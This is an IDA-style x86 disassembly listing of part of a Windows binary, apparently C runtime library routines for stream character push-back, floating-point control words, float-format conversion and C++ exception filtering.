loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DB344
		nop
		call	near ptr 27F0000h
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC78
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC90
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DB470
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DB498, eax
		add	esp, 18h
		movsx	eax, byte_4DB472
		mov	dword_4DB490, eax
		pop	edi
		movsx	eax, word_4DB470
		mov	dword_4DB494, eax
		mov	dword_4DB49C, offset dword_4DB474
		mov	eax, offset dword_4DB490
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043C8B8o
					; ___:0043D118o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DB4A0
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DB4A0
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1CC77DE8h], dl
		add	ah, byte ptr dword_4DB4A0[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DB4A035h, 6BE89000h, 0C3021CC7h

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 25F0ACBh
